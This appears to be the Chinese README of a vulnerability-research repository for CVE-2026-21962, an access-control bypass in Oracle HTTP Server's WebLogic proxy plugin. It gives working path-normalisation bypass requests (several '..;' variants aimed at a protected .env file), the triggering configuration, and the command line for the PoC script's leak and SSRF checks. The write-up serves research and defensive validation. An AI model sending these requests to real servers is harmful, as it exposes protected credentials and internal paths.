针对 CVE-2026-21962(访问控制不当,CVSS 10.0)在 Oracle HTTP Server / 用于 Apache HTTP Server 的 Oracle WebLogic Server 代理插件中的独立复现利用与分析。
状态:已验证,针对前端为 WebLogic Server 12.2.1.4 的在线 OHS 12.2.1.4.0 和 14.1.2.0.0 环境。
前端(OHS + mod_wl_ohs)和后端(WebLogic)对 ..; 的规范化处理不同。类似如下请求:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
可绕过前端的 <Location /internal-admin> 保护规则,因为 OHS 不会折叠 ..;,而 WebLogic 会(; = servlet 路径参数,.. = 父目录)。随后后端会提供受保护路径的内容。结果:前端访问控制绕过(CWE-284)。
mod_wl_ohs(WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)前端为 WebLogic Server 12.2.1.4。mod_wl_ohs(WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)前端为 WebLogic Server 12.2.1.4。.env):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404),证明绕过有效。X-ORACLE-DMS-* 头,证明是真实的后端(WebLogic)响应。/internal-admin/...(GET /foo/../internal-admin/... 200)。evidence/)。poc-factcheck.md)。isapi_wl,在 12.2.1.4.0 中受影响)。预期存在相同机制(后端 servlet 路径解析),但未在 Windows 上复现。analysis/patch-analysis.md)。| 角色 | 组件 | 版本 |
|---|---|---|
| 前端 | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| 插件 | mod_wl_ohs | 12.2.1.4(190912)/ 14.1.2(250908) |
| 后端 | Oracle WebLogic Server | 12.2.1.4 |
| 受保护应用 | /internal-admin/cont/.env(虚构凭据) | — |
使用的前端配置(最小触发条件):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
相同请求、相同前端、相同后端 — 仅改变前端对 ..; 的处理方式。
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| 部署 | HTTP | 泄露 | 到达后端 |
|---|---|---|---|
| 易受攻击 | 200 | 是(.env 凭据) | 是(X-ORACLE-DMS-*) |
| 已修补(修复规范化) | 404 | 否 | 否 |
原始证据(请求 / 响应 / 服务器日志):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy:自动检测 WLSRequest 代理前缀(例如 /foo)。-c:后端上的受保护路径(默认 internal-admin/cont/.env)。--check LEAK|SSRF|ALL。X-ORACLE-DMS-* 头;控制(直接)请求必须被阻止,判定结果才为阳性。详见 exploit/README.md。仅可对您有权测试的系统使用。
.
├── README.md 本文件
├── exploit/
│ ├── CVE-2026-21962.py 已验证 PoC(确定性泄露检查)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md 规范化不匹配分析
│ └── patch-analysis.md 二进制差异分析 + 补丁等效 A/B
└── poc-factcheck.md 公开 PoC 可信度表格 + 各 PoC 详情
无需知道受保护路径即可工作的主动检测 / 映射工具(指纹识别、盲探测、规范化映射)单独保存在 ../../probe/ 中。
exploit/CVE-2026-21962.py
SHA-256:20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75a本材料仅供漏洞研究和防御性验证使用。未经授权不得对系统使用。证据中的 .env 内容为虚构;不包含任何真实凭据。